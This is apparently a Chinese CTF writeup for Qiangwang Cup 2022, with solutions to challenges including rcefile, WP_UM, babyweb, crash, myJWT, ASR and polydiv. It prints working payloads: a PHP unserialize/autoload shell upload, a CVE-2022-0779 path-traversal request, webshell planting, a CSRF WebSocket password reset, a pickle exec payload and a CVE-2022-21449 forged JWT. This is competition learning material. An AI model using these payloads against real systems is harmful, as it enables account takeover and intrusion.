强网杯 2022 Writeup
写在前面
强网杯不亏称为强Pwn杯,17道Pwn题;往年什么情况不知道,今年好多复现CVE的题目,其他题是否有CVE暂时不知,目前遇到的只有这几个。
myJWT CVE-2022-21449
WP-UM CVE-2022-0779
easylogin CVE-2022-21661
强网先锋
rcefile
扫描到 www.zip
,通过测试发现
- 检查后缀和
content-type
,文件名是随机字符串 - 数据存储于
cookie
中,通过反序列化函数
还原并显示
关键点在于 config.inc.php
文件中的 spl_autoload_register()
函数
<?php
spl_autoload_register();
error_reporting(0);
function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>
spl_autoload_register()
如果不指定处理用的函数,就会自动包含 类名.php
或 类名.inc
的文件,并加载其中的 类名
类
通过源码看到黑名单中没有 .inc
,所以我们可以通过 .inc
文件来实现Getshell
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
我们可以看到上传后,响应包里出现了一段 userfile
的 cookie
Set-Cookie: userfile=a:1:{i:0;s:36:"340d9b3c0f5d7eff1c077d2ecd8c1c19.inc";}
然后我们序列化一个类名为 340d9b3c0f5d7eff1c077d2ecd8c1c19
的对象
<?php
class 340d9b3c0f5d7eff1c077d2ecd8c1c19{
}
$flag = new 340d9b3c0f5d7eff1c077d2ecd8c1c19();
echo serialize($flag);
// O:32:"340d9b3c0f5d7eff1c077d2ecd8c1c19":0:{}
直接在 cookie
中添加我们新生成的 反序列化
字符串即可
WP_UM
访问环境,出现一个引导安装页面,感觉有用的信息就是下面这段
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。 并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n 这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。
这段信息说插件有问题,然后题目附件里发现就俩插件 akismet
和 user-meta
根据 user-meta
插件的版本 2.4.3
搜到了一个路径遍历漏洞 CVE-2022-0779
,正好可以组合起来得到账号密码。
请求包里的 pf_noncee
需要改成当前 pf_noncee
,获取方法:在网站首页查看页面源代码,搜索 pf_nonce
即可
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: eci-2ze2ahooasrbklrp7npz.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
field_name=test&filepath=/../../../../../../../../username/1M&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=e74a0c7bd4&is_ajax=true
我们可以发现,如果路径存在那么会有一个 Remove
反之没有
账号( 10
位)密码( 15
位),这些信息题目提都提到了,我们直接 burp
爆破 a-z
, A-Z
即可,另外博客文章内泄露了用户名,同时爆破的时候发现第一位是 M
简单猜测了几位,所以说实际上只爆破了密码的第 6
位到第 15
位,还是挺快的。
用户名:MaoGePaMao
密码:MaoGeYaoQiFeiLa
登录后台,外观
-> 主题文件编辑器
处写shell (本意是直接写一句话,但是好像过滤了引号),直接写个一句话到其他文件吧)
他说 flag
藏起来了,连上蚁剑翻了半天,最后发现在 /usr/local/This_1s_secert
找flag找了半天,不然一血就是我的(小声bb,只拿到了三血
ASR
下载附件得到一个 python
脚本
from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3
flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''
我们先用 factordb
把 n
分解一下,得到
p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653
e|p1-1|p3-1
,需要代替,进行一些尝试得出 n
也可以近似等于 p2**2*p4**2
import gmpy2
from Crypto.Util.number import long_to_bytes
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653
assert(n==(p1*p2*p3*p4)**2)
data = gmpy2.invert(e, (p2-1)*p2*p4*(p4-1))
print(long_to_bytes(pow(c, data, p2**2*p4**2)))
# flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
polydiv
这个也就是两套而已,第一层的md5好过,本想手动输入,却发现时间不够,考察pwn的使用起到交互的作用,第一层md5过去了,然后第二层在整数环中的多项式乘除法,可以使用 sagemath
中的相关函数进行 求解
运算,得到相应的数据进行 40
轮爆破求解即可
from pwn import *
import string
from hashlib import *
import itertools
from sage.all import *
strs = string.ascii_letters + string.digits
PR = PolynomialRing(Zmod(2), name='x')
x = PR.gen()
def proof(end,sha):
num=4
slist=itertools.permutations(strs,int(num))
for i in slist:
i = ''.join(i)
if sha256((i + end.decode()).encode()).hexdigest()==sha.decode():
return i
def poly(s):
data = 0
if s[-1] == '1':
data = 1
if 'x' in s.replace('x^',''):
data += x
for i in range(2,15):
if str(i) in s:
data += x^i
return data
io = remote('39.107.137.85' ,41366)
context.log_level = 'debug'
io.recvuntil('sha256(XXXX+')
message=io.recvuntil('\n')[:-1]
end = message[:16]
SHA = message[-64:]
io.sendafter('Give me XXXX: ', proof(end,SHA))
for i in range(40):
io.recvuntil('r(x) = ')
rx = poly(io.recvuntil('\n')[:-1].decode())
io.recvuntil('a(x) = ')
ax = poly(io.recvuntil('\n')[:-1].decode())
io.recvuntil('c(x) = ')
cx = poly(io.recvuntil('\n')[:-1].decode())
bx = (rx-cx)//ax
print(rx,ax,bx)
io.sendafter('> b(x) = ',str(bx))
io.recvall()
Web
babyweb
随手注册一个账号登录后,根据提示发送 help
,返回如下信息
一开始看到 bugreport
命令(发送 bugreport 网址
管理员会去请求你发送的网址),觉得应该是 XSS
钓管理员的 cookie
,但是一直没成功,接收不到请求。
后来考虑到利用 bugreport
和 changepw
功能构造 csrf
修改管理员密码 ,根据页面中的 js
,简单构造 ws
的请求,上传到自己的服务器, 试了半天还是不行,最后考虑到不出网,题目描述里给了 docker
容器映射的端口,所以脚本里的 ws
地址改为 ws://127.0.0.1:8888
docker run -dit -p "0.0.0.0:pub_port:8888" babyweb
<meta charset="utf‐8" />
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
ws = new WebSocket(url);
ws.onopen = function (event) {
var msg = "changepw 123456";
ws.send(msg);
}
</script>
在对话框里发送 bugreport poc地址
,然后 admin
的密码就会被重置为 123456
,重新登录 admin
账户
购买 Hint
得到题目源码 /static/qwb_source_12580.zip
查看源码发现限制的很死,必须在定义的范围内、必须是数字之类的,最后考虑到 python
和 go
俩语言不同,json
解释器也不同,绕过了限制,参考文章 深入考察JSON在互操作性方面的安全漏洞
返回页面得到flag
crash
题目内容:flag in 504 page
访问首页得到题目源代码
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
登陆 admin
,用户名和密码通过 GET
传参。经过序列化操作和 base64
编码后放到 cookie
里
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
我们发现 admin
的密码是本地变量 secret
,但是不知道 secret
的值是多少
def get_password(username):
if username=="admin":
return admin.secret
我们可以通过 pickle
反序列化实现 变量覆盖
,注意传入的序列化字符串中不能出现 R
和 secret
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
我们使用双层 exec
绕过,另外推荐一篇 pickle反序列化初探 文章,写的很详细
import base64
data = b'''(S'exec('admin.se'+'cret="admin"')'
i__builtin__
exec
.'''
print(base64.b64encode(data))
# KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==
此时页面显示成功
http://39.107.237.149:25512/login?username=admin&password=admin
此时访问 /balancer
会提示 You're not admin!
,我们修改一下 cookie
再去请求/balancer
userdata=KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==
请求后页面提示 500
,重新请求一次即可返回正常页面。
这里又提示 flag in 504 page
,所以说这个页面应该是最终得到能flag页面
然后还给了一个 /826fd2f86129b050875e4a70cb059908a7ed
我们直接构造请求一下
访问后得到一个 nginx
配置文件
# nginx.vh.default.conf -- docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";
server {
listen 8088;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
location /gettestresult {
default_type text/html;
content_by_lua '
local resty_roundrobin = require "resty.roundrobin"
local server_list = {
[ngx.var.arg_server1] = ngx.var.arg_weight1,
[ngx.var.arg_server2] = ngx.var.arg_weight2,
[ngx.var.arg_server3] = ngx.var.arg_weight3,
}
local rr_up = resty_roundrobin:new(server_list)
for i = 0,9 do
ngx.say("Server seleted for request ",i,": " ,rr_up:find(),"<br>")
end
';
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root /usr/local/openresty/nginx/html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
文件总共都提到了仨地址,直接都填上,然后 权重
的话,根据多年建站经验来说,数值越低,优先级越高,我们直接都设置为 0
,或者相同数,然后让这仨冲突去吧。
127.0.0.1
127.0.0.1:8088
127.0.0.1:900
静待十几秒,页面返回了 flag
,同时控制台里可以看到请求的接口 504
超时了
Crypto
myJWT
nc
连接后输入用户名,然后输入 1
获得 generate token
,返回一段 JWT
,然后输入 2
去 getflag
提示输入 your token
后返回 You are not the administrator.
,我们直接解密 JWT
看看
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ==.5IQnppqB0_rC4OOaCowkLXVYW6eJ1kI6P-IR3dXll0gDYFjQKyOrHbVp10Hrm3GFh8eRBVZok9_z1rrKUQcJUBqQs-PeZElzqrZwE4rPVxJr2fngi2u97HdG4ItmvWiS
很明显看到一个权限校验字段 "admin": false,
我们先 base64
解码后把 false
改为 true
,重新编码为 base64
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ==
{"iss":"qwb","name":"iami233","admin":false,"exp":1659338121700}
{"iss":"qwb","name":"iami233","admin":true,"exp":1659338121700}
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9
CVE-2022-21449:传入sig值对(r, s)为(0, 0)时,可以绕过验证
最后一段数据我们用 0
填充,原数据是 128
位,我们也用128
个 A
填充
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
注意 token
失效时间有点快,所以整体做的时候速度快一点,当然也可以用脚本实现自动化